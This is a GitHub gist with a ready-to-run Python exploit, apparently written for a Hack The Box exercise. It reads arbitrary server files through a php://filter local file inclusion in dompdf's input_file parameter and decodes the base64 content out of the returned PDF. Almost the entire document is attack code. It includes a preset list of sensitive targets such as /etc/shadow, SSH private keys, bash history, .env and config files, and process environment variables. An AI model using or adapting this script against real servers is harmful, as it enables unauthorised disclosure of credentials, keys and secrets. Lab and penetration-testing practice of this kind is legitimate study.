Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save bloodstiller/6ca7ba4e28dc98f5d08871ddb5ebbfd9 to your computer and use it in GitHub Desktop.

Select an option

Save bloodstiller/6ca7ba4e28dc98f5d08871ddb5ebbfd9 to your computer and use it in GitHub Desktop.
dompdf 0.6.0 auto enumeration tool. For inception htb box
#!/usr/bin/env python3
"""
dompdf LFI File Reader
----------------------
Exploits php://filter base64 LFI via dompdf to read arbitrary files.
Extracts and decodes the base64 payload directly from the PDF stream,
bypassing dompdf's line-wrapping/truncation of rendered text.
Usage:
python3 dompdf_lfi.py -u http://target/dompdf.php -f /etc/passwd
python3 dompdf_lfi.py -u http://target/dompdf.php -f /var/www/html/config.php
python3 dompdf_lfi.py -u http://target/dompdf.php --list common
"""
import argparse
import base64
import re
import sys
import requests
from urllib.parse import quote
# Suppress SSL warnings if needed
requests.packages.urllib3.disable_warnings()
# -------------------------------------------------------------------
# Common files worth enumerating on a pentest
# -------------------------------------------------------------------
COMMON_FILES = [
"/root/.ssh/authorized_keys",
"/etc/passwd",
"/etc/shadow",
"/etc/hostname",
"/etc/hosts",
"/etc/resolv.conf",
"/etc/os-release",
"/proc/self/environ",
"/proc/self/cmdline",
"/proc/version",
"/var/www/html/index.php",
"/var/www/html/config.php",
"/var/www/html/.env",
"/home/*/.ssh/id_rsa",
"/root/.ssh/id_rsa",
"/root/.bash_history",
"/etc/apache2/sites-enabled/000-default.conf",
"/etc/apache2/apache2.conf"
]
def build_url(base_url: str, file_path: str) -> str:
"""Build the dompdf LFI URL for a given file path."""
filter_chain = f"php://filter/read=convert.base64-encode/resource={file_path}"
return f"{base_url}?input_file={quote(filter_chain, safe='')}"
def extract_base64_from_pdf(pdf_bytes: bytes) -> str | None:
"""
Extract the base64-encoded file content from the raw PDF stream.
dompdf embeds the rendered text in PDF content streams. The base64
blob appears as a sequence of alphanumeric chars and +/= in the stream.
We grab all such chunks and reassemble them.
"""
# Try to decode as latin-1 so we can regex over the raw PDF bytes
try:
pdf_text = pdf_bytes.decode("latin-1")
except Exception:
return None
# Base64 blobs appear inside PDF BT...ET blocks as text strings
# Pattern: one or more lines of base64 chars (A-Z a-z 0-9 + / =)
chunks = re.findall(r"([A-Za-z0-9+/=]{20,})", pdf_text)
if not chunks:
return None
# Concatenate all chunks and strip whitespace
raw = "".join(chunks)
# Validate it's actually decodable base64
# Pad to multiple of 4 if needed
padding = (4 - len(raw) % 4) % 4
raw += "=" * padding
try:
base64.b64decode(raw, validate=True)
return raw
except Exception:
# Try the largest single chunk
for chunk in sorted(chunks, key=len, reverse=True):
padding = (4 - len(chunk) % 4) % 4
candidate = chunk + "=" * padding
try:
base64.b64decode(candidate, validate=True)
return candidate
except Exception:
continue
return None
def read_file(base_url: str, file_path: str, timeout: int = 10, verify_ssl: bool = False) -> str | None:
"""
Attempt to read a remote file via the dompdf LFI vulnerability.
Returns the decoded file contents, or None on failure.
"""
url = build_url(base_url, file_path)
try:
resp = requests.get(url, timeout=timeout, verify=verify_ssl)
except requests.exceptions.RequestException as e:
print(f" [!] Request failed: {e}", file=sys.stderr)
return None
if resp.status_code != 200:
print(f" [!] HTTP {resp.status_code} for {file_path}", file=sys.stderr)
return None
if b"%PDF" not in resp.content[:10]:
print(f" [!] Response doesn't look like a PDF for {file_path}", file=sys.stderr)
return None
b64 = extract_base64_from_pdf(resp.content)
if not b64:
print(f" [!] Could not extract base64 from PDF for {file_path}", file=sys.stderr)
return None
try:
decoded = base64.b64decode(b64).decode("utf-8", errors="replace")
return decoded
except Exception as e:
print(f" [!] Base64 decode error: {e}", file=sys.stderr)
return None
def main():
parser = argparse.ArgumentParser(
description="dompdf php://filter LFI file reader",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__,
)
parser.add_argument("-u", "--url", required=True, help="Base URL of dompdf endpoint (e.g. http://target/dompdf.php)")
parser.add_argument("-f", "--file", help="File path to read (e.g. /etc/passwd)")
parser.add_argument("--list", choices=["common"], help="Enumerate a preset list of files")
parser.add_argument("--output", "-o", help="Write output to file instead of stdout")
parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds (default: 10)")
parser.add_argument("-k", "--insecure", action="store_true", help="Disable SSL certificate verification")
args = parser.parse_args()
if not args.file and not args.list:
parser.error("Specify --file or --list")
base_url = args.url.rstrip("/")
verify_ssl = not args.insecure
results = {}
files_to_read = [args.file] if args.file else COMMON_FILES
for path in files_to_read:
print(f"[*] Reading: {path}")
content = read_file(base_url, path, timeout=args.timeout, verify_ssl=verify_ssl)
if content:
print(f"[+] Success ({len(content)} bytes)\n")
print("-" * 60)
print(content)
print("-" * 60 + "\n")
results[path] = content
else:
print(f"[-] Failed to read {path}\n")
if args.output and results:
with open(args.output, "w") as f:
for path, content in results.items():
f.write(f"{'='*60}\n# {path}\n{'='*60}\n")
f.write(content)
f.write("\n\n")
print(f"[+] Results saved to {args.output}")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment